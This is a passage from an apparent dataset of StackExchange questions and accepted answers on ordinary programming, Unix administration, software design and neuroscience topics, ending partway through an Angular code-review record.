configuration page looked like this I noticed the message under the Use the Event value as the Goal value for the conversion (Answered YES)If you dont have a value defined in the condition above that matches your Event tracking code, nothing will appear as the Goal Value.You can either:1) Try to match the function parameter with the same value as in the goal configuration or2) Set The Answer to NO, delete the value in both the function and the Goal configuration and assign the value for the conversion in $USD or to whatever your currency is (My Choice)"  } 
{  "id": "_codereview.18223"  , "question": "In ruby, is there a more concise way of expressing multiple AND conditions in an if statement?For example this is the code I have:    if first_name.blank? and last_name.blank? and email.blank? and phone.blank?      #do something    endIs there a better way to express this in Ruby? 1.9.2 or 1.9.3"  , "title": "Expressing multiple AND conditions in ruby"  , "tags": "ruby"  , "accepted_answer": "if [first_name, last_name, email, phone].all?(&:blank?)  #do somethingendCaveat: While and/&& short-circuit the expression (that's it, only the needed operands are evaluated), an array evaluates all its items in advance. In your case it does not seem something to worry about (they seem cheap attributes to get), but if you ever need lazy evaluation and still want to use this approach, it's possible using procs, just slightly more verbose:p = procif [p{first_name}, p{last_name}, p{email}, p{phone}].all? { |p| p.call.blank? }  #do somethingend"  } 
{  "id": "_softwareengineering.58144"  , "question": "I have been in computer business for 15 years in various roles (sysadmin, developer, researcher), and I have never encountered someone using excel for something more advanced than for formatting tables, or as an ad-hoc database that could have been maintained in a text-file.I had to do heavy data-processing and plotting and for that I used some perl scripts + gnuplot, got tiredof it, and went over to R eventually. 2D spreadsheet just didn't seem well-suited for doing statistical analyses over 5-dimensional datasets (not to mention that it produces UGLY plots).I attempted to use spreadsheet for time-tracking, and found out that I would have better been served by a relational database, so I gave up on using excel for that too. For example, it's important to consistently name tasks, and I needed to find out unique task names in a given column across several sheets (I had one timesheet for each month). How do you make such query in a program that essentially evaluates independent cells and has little notion of relations between them?So, what are spreadsheets useful for? Why do they have a bunch of mathematical stuff built into them when, AFAICT, people use them mostly as table formatters or bad substitutes for databases?"  , "title": "What is spreadsheet useful for?"  , "tags": "spreadsheet;excel"  , "accepted_answer": "In almost any industry, Excel is a fantastic tool for rapid prototyping and automation.Even in organizations that have a proper research and development team, nothing beats the ability to work alongside a business user with a spreadsheet to capture and apply important business knowledge, work-flow, and algorithms in real time.In spreadsheet software, especially one like Excel which has the back end programming support, developers have the opportunity to quickly produce tools with a familiar interface and easily identifiable logic to help users identify their needs and preferences.Once a fully functional prototype is completed, you have one of the best possible requirements packages, which can either be handed to an IT group so that a permanent, standalone system can be developed to replace it, or run through QA and released as the final solution to the business user's problem.So after years of providing useful prototypes and in-house solutions in next to no time, bare-minimum cost, and with no additional 3rd party involvement, perhaps a more interesting question would be:What isn't  a spreadsheet useful for?"  } 
{  "id": "_softwareengineering.211413"  , "question": "I am working on a warehouse management system (WMS) that needs to support having stock in multiple locations. Could be in a different building, could be stored in n* places in a building (quick example would be stock, overflow, or fast moving slots all containing a qty of the same item).Where I am, they have always used one SKU assigned to one bin with paper notes pointing to overflow. Obviously they have grown beyond this and it's causing some serious issues. No one here can help me when I try to get what the best practice should be.I am having trouble conceptualizing how to setup the structure. I am thinking ...Warehouse (virtual or physical) Warehouses can belong to warehouses.Location - Anything really could be a pallet, box, or just a taped off area on the floor. Locations belong to warehouses.Rows - can be in locationsShelves can be in rowsslots(traditionally called a bin here) the smallest unit that can be a location.Then a SKU could be in any one or many of these locations (except the virtual warehouse - used only from grouping physical locations but allowing a sales order to process them internally as if it shipping from one space).Locations (are their children) could be given priority. So if a SKU is in 2 locations, the systems knows which slot(bin) to empty first before routing to the next.I code it so that the structures above can be handled by the warehouse since i don't care physically about them only that the process makes sense and then give them a tool to mark a sort order so that they can determine the best routes through the warehouse with batch picking an order.I guess I just wanted to get this out of my head and get someone elses eyes on it before I wrote a single line of code. Does this structure make sense? Is it a best practice? If not what is and if that question is outside the realm of the site could someone point me to it?"  , "title": "Inventory / Stock in multiple locations"  , "tags": "data structures;planning"  , "accepted_answer": "Encapsulation is going to be the key for making sure you start with the right structure.I would have a primary entity for the salable good (widget), of which the SKU is an identity type property.  The salable goods or widgets are your base objects as that's what's being sold.  SKUs can change although it's somewhat rare.Each widget can have zero or more locations, so I would have a collection of locations within the widget.Each location is going to have a relative weight representing the availability or location cost for that set of widgets.  I would recommend making the location cost a first class object, and not just a value.  Location cost is a relative term based upon where the caller is located.  If I'm at one site then I want the back-of-store widgets instead of the widgets at another physical location.  At a minimum, you need to hide the implementation of location cost to external callers so you can more easily adapt it in the future.To support referential integrity, I would make the widget.count() method iterate over all of the locations and count those.  Otherwise you end up doubling the amount of stock keeping you have to do - once for the widget and again for the location."  } 
{  "id": "_webapps.97509"  , "question": "As described in this question.Both the Vacation Responder and using a filter to send a Canned Response send the response the Return-Path field of the email, not the From field. Please don't tell me this isn't the standard, I know that. I need a workaround!I am trying to set up an SMS auto-responder from Google Voice. So I set Google Voice to forward texts to Gmail. But in Gmail there is no way to auto-reply to texts in the same messageit sends a new separate message using the Return-Path address. So, Google Voice does not receive the message because the Return-Path address is a bounce address. So Google Voice does not receive and forward the text back properly, so the auto-reply does not work.Can anyone help please? It's very frustrating that there is no way to do this."  , "title": "How do I use Gmail's Vacation Responder or Canned Responses feature to respond to the From instead of the Return-Path address?"  , "tags": "gmail;google voice;automation"  } 
{  "id": "_unix.116695"  , "question": "Assume I have the following pipe:a | b | c | dHow can I wait for the completion of c (or b) in sh or bash? This means that script d can start any time (and does not need to be waited for) but requires complete output from c to work correctly.The use case is a difftool for git that compares images. It is called by git and needs to process its input (the a | b | c part) and display the results of the comparison (the d part). The caller will delete input that is required for a and b. This means that before returning from the script, process c (or b) must terminate. On the other hand, I cannot wait for d because this means I'm waiting for user input.I know I can write the results of c to a temporary file, or perhaps use a FIFO in bash. (Not sure if the FIFO will help, though.) Is it possible to achieve this without temporary files in sh?EDITPerhaps it would be sufficient if I could find out the process ID of the c (or b) process in a reliable fashion. Then the whole pipe could be started asynchronously, and I could wait for a process ID. Something along the lines ofwait $(a | b | { c & [print PID of c] ; } | d)EDIT^2I have found a solution, comments (or still better solutions) are welcome."  , "title": "Semi-asynchronous pipe"  , "tags": "bash;shell;pipe;fifo"  } 
{  "id": "_unix.158816"  , "question": "I'm running CentOS 6.4 on vagrant and then doing a vagrant SSH into the box. I've been trying to get backspace to work correctly for a while now (as chronicled here: Centos Terminal Configuring Backspace and Ctrl-h Correctly) As a part of this, I'm trying to use loadkeys to modify the actions in the keymap - but that doesn't seem to work very well. So, as root, I did the following (as specified here):[root@localhost vagrant]# dumpkeys -f  | grep -iE string...string F9 = \\033[20~string F10 = \\033[21~...[root@localhost vagrant]# echo 'string F10 = foo ' | loadkeys   # to make F10 print foo[root@localhost vagrant]# dumpkeys -f  | grep -iE string   # verify that keymap is changed...string F9 = \\033[20~string F10 = foo...Now type F10. This keeps giving me the ~ character instead of printing foo. This is the original behavior before loadkeys were invoked - so it looks like loadkeys has no effect at all?"  , "title": "loadkeys has (almost) no effect"  , "tags": "centos;console;key mapping"  , "accepted_answer": "loadkeys re-programs the terminal emulator that is built in to the kernel, via ioctl() requests through a kernel virtual terminal device.  You aren't using that terminal emulator when you connect to the machine via ssh.  Indeed, you aren't involving any terminal emulator, kernel or user space, on that machine at all.The terminal emulator on your local machine is what is mapping function key presses into control sequences.  Of course loadkeys isn't reprogramming the terminal emulator that is running on a completely different machine at the local end of your ssh connection.If you hadn't run loadkeys as the superuser, you'd have received the useful error message that when run from the ssh login session loadkeys couldn't find a kernel virtual terminal to talk to, because one wasn't involved in that login session."  } 
{  "id": "_softwareengineering.302187"  , "question": "I'm designing an application with DDD. I'm moving from flat POCO objects to strong domain models, so my question is:Would I have to call my basic CRUD operations (located in my repository layer)  from controllers directly, without passing through the domain layer? I can't see any added value to doing that, but I'm not sure if it's inside the DDD practices make that direct call."  , "title": "CRUD operations in DDD"  , "tags": "design patterns;mvc;domain driven design;asp.net mvc;patterns and practices"  , "accepted_answer": "The typical entry point for this in DDD is an Application Service. Application services orchestrate calls to repositories and domain objects. They also know about the current execution state and often control the overarching business transaction through a unit of work that is committed at the end of the service method.For example :Create new domain objectAdd it to RepositoryCommit UoWorGet domain object from RepositoryModify itCommit UoWetc.The application service can be called from a Controller. In some implementations it is the controller, when people don't want to bother an additional abstraction layer. But that can lead to a Fat Controller.my basic CRUD operations (located in my repository layer)While C, R and D are part of a Repository interface, U doesn't have to if you have a Unit of Work. Update of all changed domain entities in the UoW will be done automatically on UoW.Save()."  } 
{  "id": "_softwareengineering.266974"  , "question": "With the below piece of thread related code, I see that author of Thread class is hiding the details about the working of start() method. What a user of Thread class need to know is, class Thread would expect a piece of his own code which will be an instance of Runnable's anonymous concrete sub-class that gets passed./* TestThread.java */public class TestThread{    public static void main(String[] args){    Thread threadObject = new Thread(new Runnable(){        public void run(){           /* your own code that has to run*/              System.out.println(a new thread);        }    });     threadObject.start();    System.out.println(Main thread);    }}But in this below program, It looks like we partially hide the implementation details of listFiles(filter) method. Because if author has to change the logic of listFiles(filter) in future without affecting the users, he should make sure that method signature boolean accept(File dir, String name); should not get affected./* ListDirectoryWithFilter.java */import java.io.File;import java.io.FilenameFilter;public class ListDirectoryWithFilter{    public static void main(String[] args){        String path = System.getProperty(user.home) + File.separator + workspace +                                             File.separator + JavaCode + File.separator + src;        File dir = new File(path);        if(dir.isDirectory()){            File[] files = dir.listFiles(new FilenameFilter(){                public boolean accept(File dir, String file){                    return file.endsWith(.java);                }            });            for(File file : files){                System.out.println(file.getName());            }        }    }}Do you think, it would have been better that listFiles(filter) method just expect a regular expression(*.java) from the user and rest is the result that user expects?It looked a bit unnecessary approach for me, to implement a two argument accept(,) method and then pass it to listFiles() method.So, Are such implementations a good practice? If yes, when do we think of such implementations?"  , "title": "Query on hiding implementation details in java"  , "tags": "java;object oriented design;encapsulation"  } 
{  "id": "_codereview.85624"  , "question": "Disclaimer: This question is very much like the one posted here. I gathered some opinions about my options from the answer there. Here, I just want validation about the choices I'm deciding to stick to and see what people think about the decisions specifically. Also, gather suggestions about other parts of the code I'm not specifically asking about, since I'm new to Python OOP.Scenario: I'm writing a program that will send emails. For an email, the to, from, text and subject fields will be required and other fields like cc and bcc will be optional. Also, there will be a bunch of classes that will implement the core mail functionality, so they will derive from a base class (Mailer).Following is my incomplete code snippet:class Mailer(object):    __metaclass__ == abc.ABCMeta    def __init__(self,key):        self.key = key    @abc.abstractmethod    def send_email(self, mailReq):        passclass MailGunMailer(Mailer):    def __init__(self,key):        super(MailGunMailer, self).__init__(key)    def send_email(self, mailReq):        from = mailReq.from        to = mailReq.to        subject= mailReq.subject        text = mailReq.text        options = getattr(mailReq,'options',None)        if(options != None):            if MailRequestOptions.BCC in options:                #use this property                pass            if MailRequestOptions.CC in options:                #use this property                passclass MailRequest():    def __init__(self,from,to,subject,text):        self.from = from        self.to = to        self.subject = subject        self.text = text    def set_options(self,options):        self.options = optionsclass MailRequestOptions():    BCC = bcc    CC = ccI've made the following decisions about code designs. What do you think about them?The send_email() method will take four required parameters - to, from, subject and text, and bunch of other optional parameters like cc, bcc etc. So I decided to create the MailRequest wrapper, which will take the 4 required fields in the constructor, and the other optional parameters will go in the options dict.Is this an acceptable way of doing this?  Why not use **kwargs?Because if you define something like:def foo(**kwargs):    passThen to call it, you can't do something like:options = []options[one] = 1options[two] = 2foo(options)Right?You'd have to do something like:foo(one=1,two=2)Now if I have 15 parameters that foo accepts, then **kwargs isn't a good way to do this right?I've created the MailRequestOptions class to contain static strings. The reason behind the existence of this class is, even if the user knows he has to pass some options in the options dict of the MailRequest object, how would he know which options can he set. This class could probably help the user know about what options can be set. This will also be helpful if the user has auto complete in an IDE or something. Do you think I'm thinking right? Or is this a somewhat unusual way of doing things?"  , "title": "Program for sending emails"  , "tags": "python;object oriented;email"  , "accepted_answer": "First thing first - PEP 8 is the de-facto style guide for Python. It's a good idea to just stick to it, and for the most part everyone else will too.This would look likeclass Mailer(object):    __metaclass__ == abc.ABCMeta    def __init__(self, key):        self.key = key    @abc.abstractmethod    def send_email(self, mail_req):        passclass MailGunMailer(Mailer):    def __init__(self, key):        super(MailGunMailer, self).__init__(key)    def send_email(self, mail_req):        from_ = mail_req.from_        to = mail_req.to        subject= mail_req.subject        text = mail_req.text        options = getattr(mail_req, 'options', None)        if options is not None:            if MailRequestOptions.bcc in options:                # use this property                pass            if MailRequestOptions.cc in options:                # use this property                passclass MailRequest:    def __init__(self, from_, to, subject, text):        self.from_ = from_        self.to = to        self.subject = subject        self.text = text    def set_options(self,options):        self.options = optionsclass MailRequestOptions:    bcc = bcc    cc = ccThere are a couple of logic changes (eg. is not None instead of != None), but nothing significant.Next thing I notice isoptions = getattr(mail_req, 'options', None)This is an absolute red flag to me. Attributes should not exist sometimes and not other times. Only in odd cases is such a thing appropriate. This is easy enough to fix withself.options = None  # = {}?in MailRequest.__init__.Your set_options method is pointless - MailRequest.options is public. Since you intend to use it as a struct-like container, keep it that way.I'm not sure why you even have the options parameter though; your options have a static set of accepted attributes so just inline it. Again, this removes the use of existence as a variable. Attribute existence is a terrible way of hiding state.class MailRequest:    def __init__(self, from_, to, subject, text):        self.from_ = from_        self.to = to        self.subject = subject        self.text = text        self.bcc = None        self.cc = NoneThis also removes the very strange MailRequestOptions class.Then I look at the Mailer ABC. Remember that Python is duck-typed. The reason for an ABC is to standardize common interfaces that arise in the code - unless you have at least a few implementations, duck-typing is more appropriate.Which givesclass MailGunMailer:    def __init__(self, key):        self.key = key    def send_email(self, mail_req):        from_ = mail_req.from_        to = mail_req.to        subject= mail_req.subject        text = mail_req.text        if mail_req.bcc is not None:            # use this property            pass        if mail_req.cc is not None:            # use this property            passclass MailRequest:    def __init__(self, from_, to, subject, text):        self.from_ = from_        self.to = to        self.subject = subject        self.text = text        self.bcc = None        self.cc = NoneFundamentally this is also inappropriate. Your first question gives reasons that normal arguments might not be appropriate, but Nizam Mohamed points out some flaws in your understanding. In fact, having a lot of parameters in a signature is fine. Objects to hold options exist for several reasons:Some languages have little flexibility in argument passing and little ability to name argumentsSome languages don't let you pack up arguments and pass them around easilyThere are cases where the arguments form an object that gets reusedThe first two points are not good reasons in Python. See subprocess for an example of something that just offers a large number of arguments. The caller does not have to specify them all since most are default arguments.The last option does happen, but it is more akin to typical OO abstractions. And as usual with abstractions, premature abstraction is bad.In this case (in isolation), just offer the arguments directly.class MailGunMailer:    def __init__(self, key):        self.key = key    def send_email(self, from_, to, subject, text, bcc=None, cc=None):        if bcc is not None:            # use this property            pass        if cc is not None:            # use this property            passIn response to your second question, you are adding dynamicism where naturally there is none. This doesn't help. If you want to document the options, do it the one obvious way: in the options. (This is what inlining options achieved.)Simple, see? >>> import thisThe Zen of Python, by Tim PetersBeautiful is better than ugly.Explicit is better than implicit.Simple is better than complex.Complex is better than complicated.Flat is better than nested.Sparse is better than dense.Readability counts.Special cases aren't special enough to break the rules.Although practicality beats purity.Errors should never pass silently.Unless explicitly silenced.In the face of ambiguity, refuse the temptation to guess.There should be one-- and preferably only one --obvious way to do it.Although that way may not be obvious at first unless you're Dutch.Now is better than never.Although never is often better than *right* now.If the implementation is hard to explain, it's a bad idea.If the implementation is easy to explain, it may be a good idea.Namespaces are one honking great idea -- let's do more of those!"  } 
{  "id": "_unix.19513"  , "question": "If I do this:iptables -nvL > output.txtoutput.txt ends up empty. If I do:iptables -nvL >> output.txtIt works fine. Appending is working, but overwriting is not. Why?"  , "title": "Why can I append to a file but not overwrite it?"  , "tags": "io redirection"  } 
{  "id": "_cs.35834"  , "question": "Given boruvka's algorithm:MST T <- empty treeBegin with each vertex v as a componentWhile number of components > 1    For each component c       let e = minimum edge out of component c       if e is not in T           add e to T  //merging the two components connected by eIn each phase I'd like to reduce the graph's size, by saying that after each phase - there is actually no need to remember edges that are within each component (because some were inserted to the MST T already and others are not needed). So instead of each component I'd like to put only a single vertex. The only problem comes when I try to construct my edges - an edge between two new vertices (which were two components before) is the one with the smallest weight among all the edges between a vertex in the first component and a vertex in the second. I wanted to implement this in linear time, but I don't see how I can reduce the edges as well, all in linear time? "  , "title": "Borvka cleanup in linear time?"  , "tags": "algorithms;graphs;spanning trees"  } 
{  "id": "_softwareengineering.72621"  , "question": "I joined the company currently I am working on as a fresher. Due to the limited number of skilled people in GIS software development, and since I was among one of them I was directly recruited as a Project Manager.I was quite conversant with Java and GIS, and I have done self motivated research on location based services, but not with project management and structured software development. It was one year after my graduation as a Geology special and during the previous year I was working as an academic in a University.Thanks to the interest I was having at work, an opportunity shown up, and eventually I was made responsible for the Business Intelligence department of the company as well. The company believed in me. I myself studied data warehousing and BI concepts and was successful in combining GIS with BI as well. Also I am currently working with two developers on our BI tool in C# WPF, where I also play the role of a developer at times (which I like).I tried extremely hard to adopt good software development methodologies with agile project management, but it was not very successful. Also, though I believe in well designed code as far as a product is concerned, due to the lack of technical knowledge my CEO has (who is directly above me), I normally do not get the amount of time needed to do it. The time taken is greatly enhanced by the lack of expertise we have in the specific coding language as a whole too (for instance WPF opposed to Java). Also there is no version controlling system in place as well.I am extremely fed up with the way things are going as it is not structured and I find most of my time thinking than working as to how to get things structured. I hope you guys with good professional experience will be able to help me overcome this situation.      "  , "title": "How can I overcome a badly structured software development model?"  , "tags": "project management;development methodologies"  , "accepted_answer": "We had a similar problem (without the technical details, of course) in the company I work about two years ago.You just need to do it one step at a time. Don't try to adopt the agile software development in a rush. There's a lot of stuff to learn and apply.Don't let the lack of expertise to bring you down either. Build slowly (but as fast as you can :P), steadily and surely.I would recommend the next steps (to do this, you might switch from management to development for a while, but that should be fine)Learn a good version control system, and learn it well. Personally I would recommend git or mercurial. There is a lot of documentation on both.Build a solid core on practices and patterns. Read books, read blogs, watch screencasts with the team members. This will give a new air to the development.Learn TDD/BDD and try to apply it in the new code, as well as in the old code that you might touch when doing a new feature.Do pair programming. Two heads think better than one, and also 4 eyes are better than 2 :).Find about the latest and most common used tools in the community of the language you are currently developing. Learn about them and try to include some of them in the project. See how these were built and learn.Use scrum. Iterations, stories, story points, impediments are all concepts you should get familiar with. For me, scrum has proven to be the best workflow for software development and management. Apply it and learn from each day experience.Teach by example. Most of beginner developers are eager to learn new stuff, but also some of them are very lazy. Anyways, show them the new stuff you've been learning and applying and hopefully that will tickle their brains.Also, if possible, hire a consultant just so that he can check out the process and give better advice.Don't get lazy or discouraged. Just learn from your mistakes and try different approaches. This is just the beginning!Edit:Here are some of the links and books that I've been reading/using lately...Learning git: Pro GitThese are some of the blogs that I would recommend (most of them are .NET oriented):Java BlogsKarl Seguin's Blog and his Foundations of Programming series.CodeBetter.comCode ThinkedLos TechiesClean CoderAnd also this link to a stack overflow question.For books, you can see Buiding A Solid Programming Core list on amazon.I would also recommend these:Clean CodeAgile Software Development, Principles, Patterns and PracticesAlmost any book from The Pragmatic Bookshelf"  } 
{  "id": "_opensource.1724"  , "question": "I have just wrote a program and would like to release it dual-license (probably AGPL and proprietary, but I also would like to retain the ability to release it under other licenses in the future).I want to welcome patches from the future community, but merging should not compromise the goal above, so if I understand correctly I need a kind of contributor agreement.The Harmony Agreement Selector looks like a tool designed for me, but I am stuck at the first question:As seen in the screenshot above, there are two options:Copyright License (CLA)Copyright Assignment (CAA)What is the difference between the two?"  , "title": "Difference between Copyright License (CLA) Copyright Assignment (CAA)"  , "tags": "copyright;contributor agreements"  } 
{  "id": "_cogsci.262"  , "question": "Although adult brains are malleable and even undergo limited neuorgenesis, the extent of the neuroplasticiy is much lower than in children. This is most obvious in language acquisition, and recovery from brain trauma.Are there formal models (computational or mathematical) that explain why our brains so drastically reduce in plasticity with age?If a highly malleable brain is supposed to help us adapt and deal with a constantly changing environment, then naively one would expect it to be advantageous to maintain a malleable brain for your whole life.Background from critical-period in language acquisitionThis is an example of formal models that I am already familiar with that answer a related question (critical-period in language acquisition). I am interested in answers in this spirit, but that can address not just language-acquisition but the general decrease in neuroplasticity.In the case of the critical period for language acquisition there are evolutionary models by Hurford (1991) and Komarova & Nowak (2001). However, neither model generalizes easily to the case of neuralplasticity. Hurford's model uses neutral drift to explain the upper bound on the critical period of language acquisition because of the need for second language acquisition in life is largely unnecessary. However, the need to adapt to your environment is necessary throughout life, so plasticity should not be under neutral drift. In the case of Komarova & Nowak, the upper bound is due to a trade-off between the cost of learning (driving critical period down) and the importance of learning a language accurately (driving critical period up). This balances out and allows for an ESS due to dimishing returns: once you've learned a language pretty-well it becomes more costly to invest in learning further than the returns from better learning. However, adapting to a constantly changing environment is not a single static task, and thus it is not clear why your returns would diminish. Further, it is not clear how keeping high plasticity is more costly than maintaining lower plasticity.NotesThis is a question of why, not how. Although it is very interesting to know how the plasticity of adult brains decreases, in this question I am interested in why this is the case over the hypothetical keep as malleable as a baby alternative.Both Hurford (1991) and Komarova & Nowak (2001) provide formal evolutionary models that I do not describe in detail. I am interested in formal models like this, although they need not be evolutionary. An answer on the level of rhetoric (especially if it is evolutionary rhetoric) is not nearly as interesting to me as a formal model.Hurford (1991) and Komarova & Nowak (2001) are meant as examples of work that answer the potentially easier question of critical period of language-acquisition. I am interested in the more general question of decrease in neuroplasticity.ReferencesHurford, J. R. (1991). The evolution of critical period for language acquisition. Cognition, 40, 159-201. FREE PDFKomarova, N. L. & Nowak, M. A. (2001). Natural selection of the critical period for language acquisition. Proc. R. Soc. London. B, 268(1472), 1189-1196. FREE PDF"  , "title": "Why does neuroplasticity decrease in adults?"  , "tags": "neurobiology;developmental psychology;computational modeling;evolution;plasticity"  } 
{  "id": "_unix.159167"  , "question": "I have uninstalled acroread 9.5.5-1precise1 in software center, but those under /opt/Adobe/Reader9 seem intact:/opt/Adobe/Reader9$ ls *bin:acroreadBrowser:HowTo  install_browser_plugin  intellinuxReader:AcroVersion  Cert  GlobalPrefs  help  IDTemplates  intellinux  JavaScripts  Legal  PDFSigQFormalRep.pdf  pmd.cer  TrackerResource:CMap  Font  Icons  Linguistics  Shell  Support  TypeSupportI don't remember how I installed adobe acrobat reader (by software center, or from some deb package?)Can I remove the files in /opt/Adobe/Reader9 safely?How do you uninstall software installed under /opt/ in general? Thanks.$ dpkg -S acroreadoxygen-icon-theme: /usr/share/icons/oxygen/64x64/apps/acroread.pngacroread-bin: /usr/share/man/man1/acroread.1.gzgnome-orca: /usr/lib/python2.7/dist-packages/orca/scripts/apps/acroread/script.pyacroread-bin: /usr/bin/acroreadoxygen-icon-theme: /usr/share/icons/oxygen/32x32/apps/acroread.pnggnome-orca: /usr/share/pyshared/orca/scripts/apps/acroread/__init__.pyoxygen-icon-theme: /usr/share/icons/oxygen/48x48/apps/acroread.pngoxygen-icon-theme: /usr/share/icons/oxygen/16x16/apps/acroread.pngacroread-bin: /opt/Adobe/Reader9/Resource/Shell/acroread.1.gzacroread-bin: /usr/share/applications/acroread.desktopgnome-orca: /usr/lib/python2.7/dist-packages/orca/scripts/apps/acroread/__init__.pyzsh: /usr/share/zsh/functions/Completion/X/_acroreadacroread-bin: /opt/Adobe/Reader9/Resource/Shell/acroread_tabacroread-bin: /opt/Adobe/Reader9/Reader/intellinux/bin/acroreadgnome-orca: /usr/lib/python2.7/dist-packages/orca/scripts/apps/acroreadgnome-orca: /usr/share/pyshared/orca/scripts/apps/acroreadacroread-bin: /usr/share/doc/acroread-bin/copyrightacroread-bin: /usr/share/doc/acroread-binacroread-bin: /usr/share/doc/acroread-bin/changelog.Debian.gzacroread-bin: /usr/share/lintian/overrides/acroread-binacroread-bin: /opt/Adobe/Reader9/bin/acroreadgnome-orca: /usr/share/pyshared/orca/scripts/apps/acroread/script.pyoxygen-icon-theme: /usr/share/icons/oxygen/128x128/apps/acroread.pngoxygen-icon-theme: /usr/share/icons/oxygen/22x22/apps/acroread.pngacroread-bin: /etc/bash_completion.d/acroread.sh"  , "title": "Uninstall application under /opt?"  , "tags": "ubuntu;software installation"  } 
{  "id": "_unix.99123"  , "question": "I have a text file, i want to search for tags such as the following:<category=SpecificDisease>Type II human complement C2 deficiency</category><category=Modifier>Huntington disease</category><category=CompositeMention>hereditary breast and ovarian cancer</category><category=DiseaseClass>myopathy</category>and produce the following  and write them to a new text file.Type II human complement C2 deficiencyHuntington diseasehereditary breast and ovarian cancermyopathy"  , "title": "Extract information from a text file"  , "tags": "text processing"  } 
{  "id": "_codereview.169519"  , "question": "I recently took a class on Angular 2+ at Code School.I then rebuilt my homepage using Angular 4. I would greatly appreciate if any developer experienced with Angular 2+ can check out my code on git and offer constructive feedback.This site features loading content from JSON services into dynamic templates, unit tests, and advanced CSS.Full code here:https://github.com/garyv/garyvProjects page here: http://garyvonschilling.com/work<!-- projects.component.html --><div class='big-margin-bottom'>  <h3>Technology used:</h3>  <ul class='tags row'>    <li *ngFor=let tag of projectTags.tags         class=col tag [class.active]=projectTags.isActive(tag)         (click)=toggleTag(tag)>      {{tag}}       <i [class.fa]=true          [class.fa-check]=projectTags.isActive(tag)         [class.fa-minus-circle]=!projectTags.isActive(tag)></i>    </li>  </ul></div><div class='row' [class.fade-in]=!skipFade>  <div *ngIf=!projectTags.activeProjects.length>    <h4>      Click a tag above to see projects      <i class='fa fa-level-up'></i>    </h4>  </div>  <div *ngFor=let project of projectTags.activeProjects       class='col project grid-4 half big-margin-bottom medium-padding'        [class.active]=project.active [class.hidden]=!project.active>    <h4>      <a [routerLink]=[project.friendlyId]>{{project.title}}</a>    </h4>    <a *ngIf=project.image?.src [routerLink]=[project.friendlyId]>      <img alt=''        [src]=project.image.src        [srcset]=project.image.srcset        sizes=(min-width: 37.5em) 30vw, 48vw />    </a>    <div class='tags'>      Tags:       <span [innerHTML]=projectTags.activeProjectTags(project)></span>    </div>  </div></div>// projects.component.tsimport { Component, Input, OnInit } from '@angular/core';import { Project } from './project/project.model';import { ProjectTags } from './project-tags.model';import { ProjectsService } from './projects.service';import { StateService } from '../state/state.service';@Component({  selector: 'app-projects',  templateUrl: './projects.component.html',  styleUrls: ['./projects.component.css']})export class ProjectsComponent implements OnInit {  projects: Project[];  projectTags: ProjectTags;  @Input() skipFade: boolean;  constructor(private projectsService: ProjectsService) { }  ngOnInit() {    this.projectTags = new ProjectTags();    this.projectsService.getProjects()      .subscribe( (projects) => {        this.projects = projects;        this.projectTags.populateTags(projects);      });  }  toggleTag(tag) {    this.projectTags.toggleTag(tag, this.projects);  }}// projects.component.spec.tsimport { async, ComponentFixture, TestBed } from '@angular/core/testing';import { By }              from '@angular/platform-browser';import { DebugElement }    from '@angular/core';import { HttpModule } from '@angular/http';import { Observable } from 'rxjs/Observable';import 'rxjs/add/observable/of';import { ProjectsComponent } from './projects.component';import { Project } from './project/project.model';import { ProjectComponent } from './project/project.component';import { ProjectTags } from './project-tags.model';import { ProjectsService } from './projects.service';import { StateService } from '../state/state.service';import { Router, RouterModule } from '@angular/router';import { RouterTestingModule } from '@angular/router/testing';describe('ProjectsComponent', () => {  let component: ProjectsComponent;  let fixture: ComponentFixture<ProjectsComponent>;  let debugElement: DebugElement;  let projectsService: ProjectsService;  let mockProjects: Project[] = [    {       friendlyId: 'example-title',      image: {        src: 'https://www.fillmurray.com/400/300/',      },      link: {        address: '//example.com',        text: 'example text'      },      text: '<p>This is an example project.</p>',      title: 'Example Title',      tags: ['Example Tag', 'Same']    },     {       friendlyId: 'lorem-ipsum-title',      image: {        src: 'https://www.fillmurray.com/400/300/g',      },      link: {        address: '//lorempixel.com',        text: 'lorem ipsum'      },      text: '<p>Lorem ipsum dolor sit amet.</p>',      title: 'Lorem Ipsum Title',      tags: ['Lorem', 'Same']    }  ];  beforeEach(async(() => {    TestBed.configureTestingModule({      imports: [        RouterModule,         HttpModule,        RouterTestingModule.withRoutes(          [{path: 'work/:friendly-id', component: ProjectComponent}]        )      ],      declarations: [         ProjectsComponent,        ProjectComponent      ],        providers: [        ProjectsService,        StateService      ]    })    .compileComponents();  }));  beforeEach(() => {    fixture = TestBed.createComponent(ProjectsComponent);    component = fixture.componentInstance;    debugElement = fixture.debugElement;    projectsService = fixture.debugElement.injector.get(ProjectsService);    spyOn(projectsService, 'getProjects')      .and.returnValue(Observable.of(mockProjects));    StateService.set('tags', '[Same]');    fixture.detectChanges();  });  it('should be created', () => {    expect(component).toBeTruthy();  });  it('should list tags', () => {    let tagsElement = debugElement.query(By.css('.tags li'));    expect(tagsElement.nativeElement.textContent).toContain('Example Tag');   });  it('should list projects', () => {    let projectElements = debugElement.query(By.css('.project'));    expect(projectElements.nativeElement.textContent).toContain('Example Title');   });  it('should link to individual project page', () => {    let projectLink = debugElement.query(By.css('a[href$=example-title]'));     expect(projectLink).toBeTruthy();     });  it('should hide inactive projects', () => {    component.projectTags.activeProjects.splice(0, 1);    fixture.detectChanges();    let projectElements = debugElement.query(By.css('.project'));    expect(projectElements.nativeElement.textContent).toContain('Lorem Ipsum');   });});// projects.service.tsimport { Injectable } from '@angular/core';import { Http } from '@angular/http';import 'rxjs/add/operator/map';import { Project } from './project/project.model';@Injectable()export class ProjectsService {  constructor(private http:Http) {}  getProjects() {    return this.http.get('app/projects/projects.json')      .map( (response) => {        let projects = <Project[]>response.json().projects;        for (let project of projects) {          if (project.title && !project.friendlyId) {            project.friendlyId = ProjectsService.getFriendlyId(project.title);          }                           }      return projects;     });  }  static getFriendlyId(title: string): string {    return title.toLowerCase()      .replace(/\\W+/g, '-')      .replace(/^-|-$/g, '');  }}// projects.service.spec.tsimport { TestBed, async, inject } from '@angular/core/testing';import {   HttpModule,   Http,   Response,  ResponseOptions,   XHRBackend} from '@angular/http';import { MockBackend } from '@angular/http/testing';import { ProjectsService } from './projects.service';import { Project } from './project/project.model';describe('ProjectsService', () => {  let projectsService: ProjectsService;  beforeEach(() => {    TestBed.configureTestingModule({      imports: [HttpModule],      providers: [        ProjectsService,        { provide: XHRBackend, useClass: MockBackend }      ]    });  });  describe('getProjects()', () => {    it('should return an Observable<Project[]>',       inject([ProjectsService, XHRBackend], (projectsService, mockBackend) => {        const mockResponse = {          projects: [            {               